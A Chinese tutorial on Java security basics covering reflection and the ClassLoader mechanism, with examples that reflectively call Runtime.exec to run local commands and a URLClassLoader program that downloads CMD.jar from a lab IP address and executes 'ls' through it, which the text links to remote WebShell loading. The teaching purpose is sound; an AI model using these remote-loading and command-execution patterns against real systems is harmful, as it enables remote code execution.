Java 安全基础之 Java 反射机制和 ClassLoader 类加载机制

Java 反射机制

Java 反射(Reflection)是 Java 非常重要的动态特性。在运行状态中,通过 Java 的反射机制,我们能够判断一个对象所属的类。了解任意一个类的所有属性和方法。能够调用任意一个对象的任意方法和属性。

Java 反射机制可以无视类方法、变量去访问权限修饰符,并且可以调用任何类的任意方法、访问并修改成员变量值。

对于一半的程序员来说反射的意义不大,对于框架开发人员来说,反射作用就非常大了,它是各种容器实现的核心。

获取 Class 对象

Java 反射操作的是 java.lang.Class 对象,所以我们需要先想办法获取到 Class 对象。

1、类字面常量来获取

Class<?> name = MyClass.class;

2、通过对象获取 getClass() 方法

MyClass obj = new MyClass();
Class<?> name = obj.getClass();

3、通过全限定名获取 Class.forName() 方法

Class<?> name = Class.forName("java.lang.Runtime");

4、使用 getSystemClassLoader().loadClass() 方法

Class<?> name = ClassLoader.getSystemClassLoader().loadClass("java.lang.Runtime");

loadClass() 与 forName() 的区别:

forName() 的静态方法 JVM 会装载类,并且执行 static() 中的代码。而getSystemClassLoader().loadClass() 不会执行 static() 中的代码。

获取类成员变量

1、getDeclaredFields 方法

获得类的成员变量数组,包括 public、private 和 proteced,但是不包括父类的申明字段。

Field[] fields = classname.getDeclaredFields();

2、getDeclaredField 方法

该方法与 getDeclaredFields 的区别是只能获得类的单个成员变量。

Field field  = classname.getDeclaredField("变量名");

3、getFields 方法

getFields 能够获得某个类的所有的 public 字段,包括父类中的字段。

Field[] fields = classname.getFields();

4、getField 方法

与 getFields 类似,getField 方法能够获得某个类特定的 public 字段,包括父类中的字段。

Field field = classname.getField(("变量名");

获取类方法

1、getDeclaredMethods 方法

返回类或接口声明的所有方法,包括 public、protected、private 和默认方法,但不包括继承的方法。

Method[] methods = classname.getDeclaredMethods()

2、getDeclaredMethod 方法

也只能返回一个特定的方法,该方法的第一个参数为方法名,第二个参数名是方法参数。

Method methods = classname.getDeclaredMethods("方法名")

3、getMethods 方法

返回某个类的所有 public 方法,包括其继承类的 public 方法。

Method[] methods = classname.getMethods();

4、getMethod 方法

只能返回一个特定的方法,该方法的第一个参数为方法名称,后面的参数为方法的参数对应 Class 的对象。

Method method = clazz.getMethod("方法名");

反射 java.lang.Runtime

java.lang.Runtime 有一个 exec 方法,所以可以反射调用 Runtime 类来执行本地系统命令。

不使用反射执行本地命令:

import java.io.IOException;

public class Exec {
    public static void main(String[] args) throws IOException {
        Runtime.getRuntime().exec("calc");
    }
}

反射 Runtime 执行本地命令:

import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

public class ReflectionExec {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException,
            InvocationTargetException, IllegalAccessException {
        // 获取 Runtime 类
        Class<?> clazz = Class.forName("java.lang.Runtime");

        // 获取 Runtime 类的 getRuntime() 方法
        Method getRuntimeMethod = clazz.getMethod("getRuntime");

        // 调用 getRuntime() 方法,获取 Runtime 对象
        Object runtimeObject = getRuntimeMethod.invoke(null);

        // 获取 exec(String command) 方法
        Method execMethod = clazz.getMethod("exec", String.class);

        // 执行系统命令
        execMethod.invoke(runtimeObject, "clac");
    }
}

间接性的调用 Runtime 的 exec 方法执行本地系统命令。

不安全的反射可能会带来致命的漏洞。

ClassLoader 类加载机制

Java 是编译型语言,编写的 java 文件需要编译成后 class 文件后才能够被 JVM 运行。类加载器 ClassLoader 负责加载类文件,生成对应的 Class 对象。

JVM 提供的三种类加载器

  1. Bootstrap ClassLoader(启动类加载器)

负责加载 Java 的核心类,比如 java.lang.Object 等。它是由 C++ 实现的,并且不是 Java 类。

  1. Extension ClassLoader(扩展类加载器)

负责加载 Java 的扩展类,位于 <JAVA_HOME>/lib/ext 目录下的JAR包或类。

  1. System ClassLoader(系统类加载器)

也称为应用类加载器,负责加载应用程序的类,通常从classpath中加载类。

值得注意的是,Bootstrap ClassLoader 它是 JVM 自身的一部分,并不是 ClassLoader 的子类,无法直接获取对其的引用,所以尝试获取被 Bootstrap ClassLoader 类加载器所加载的类的 ClassLoader 时候都会返回 null。

除了这三种,还可以自定义类加载器。

ClassLoader 类中和加载类相关的方法

  • getParent() 返回该类加载器的父类加载器

  • loadClass() 加载指定的类

  • findClass() 查找指定的类

  • findLoadedClass() 查找已经被加载过的类

  • defineClass() 定义一个类

  • resolveClass() 链接指定的Java类

ClassLoader类加载流程

  1. 检查是否已经加载过类

在加载类之前,会首先使用 findLoadedClass() 方法判断该类是否已经被加载,如果已经加载过,则直接返回对应的 Class 对象。

  1. 委托给父类加载器

如果未被加载,则优先使用加载器的父类加载器进行加载,如果加载成功,则返回对应的 Class 对象。

  1. 自行尝试加载类

如果父类加载器无法加载该类,或者父类加载器为空,则会调用自身的 findClass() 方法尝试自行加载该类。

  1. 链接和初始化

在成功加载类之后,类加载器会对其进行链接和初始化操作。

  1. 返回 Class 对象

返回一个被 JVM 加载后的 java.lang.Class 类对象。

ClassLoader 的 loadClass 方法核心逻辑代码:

protected Class<?> loadClass(String name, boolean resolve) throws ClassNotFoundException {
    synchronized (getClassLoadingLock(name)) {
        Class<?> c = findLoadedClass(name);
        if (c == null) {
            long t0 = System.nanoTime();
            try {
                if (parent != null) {
                    c = parent.loadClass(name, false);
                } else {
                    c = findBootstrapClassOrNull(name);
                }
            } catch (ClassNotFoundException e) {
            }
            if (c == null) {
                c = findClass(name);
            }
        }
        if (resolve) {
            resolveClass(c);
        }
        return c;
    }
 }

自定义的类加载器

通过重写 findClass() 方法,利用 defineClass() 方法来将字节码转换成 java.lang.class 类对象,就可以实现自定义的类加载器。

URLClassLoader

URLClassLoader 类是 ClassLoader 的一个实现,拥有从远程服务器上加载类的能力。

通过 URLClassLoader 可以实现远程的类方法调用,可以实现对一些 WebShell 的远程加载。

例如:通过 URLClassLoader 来加载一个远程的 jar 包执行本地命令

import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.InvocationTargetException;
import java.net.URL;
import java.net.URLClassLoader;

public class TestURLClassLoader {
    public static void main(String[] args) throws IOException,
            ClassNotFoundException, NoSuchMethodException, InvocationTargetException,
			IllegalAccessException {
        // 定义远程加载的jar的URL路径
        URL url = new URL("http://192.168.88.150/CMD.jar");

        // 创建URLClassLoader对象,并加载远程jar包
        URLClassLoader ucl = new URLClassLoader(new URL[]{url});

        // 通过URLClassLoader加载远程jar包中的CMD类
        Class<?> cmdClass = ucl.loadClass("CMD");

        String cmd = "ls";
        // 调用CMD类中的exec方法
        Process process = (Process) cmdClass.getMethod("exec", String.class).invoke(null, cmd);

        // 获取命令执行结果的输入流
        InputStream in = process.getInputStream();
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        byte[] b = new byte[1024];
        int a = -1;

        // 读取命令执行结果
        while ((a = in.read(b)) != -1) {
            baos.write(b, 0, a);
        }

        // 输出命令执行结果
        System.out.println(baos.toString());
    }
}

远程的 CMD.jar 中就一个 CMD.class 文件,对应的 CMD.java 如下:

import java.io.IOException;

public class CMD {
    public static Process exec(String cmd) throws IOException {
        return Runtime.getRuntime().exec(cmd);
    }
}

成功调用 CMD 类中的 exec 方法,执行了 ls 命令。

loadClass()方法与 Class.forName 的区别?

loadClass() 方法和 Class.forName() 方法都可以用于在运行时加载类。

主要区别:

  • loadClass() 方法是 ClassLoader 类的一个方法,通过指定的类加载器加载类。它在加载类时不会自动执行类的静态初始化代码。

  • Class.forName() 方法是 java.lang.Class 类的一个静态方法,它在加载类时会自动执行类的静态初始化代码。

热门相关:我的学姐会魔法   绝宠小医妃:王爷,来一针   亿万老公,送上门!   我的女友是丧尸   世界第一校长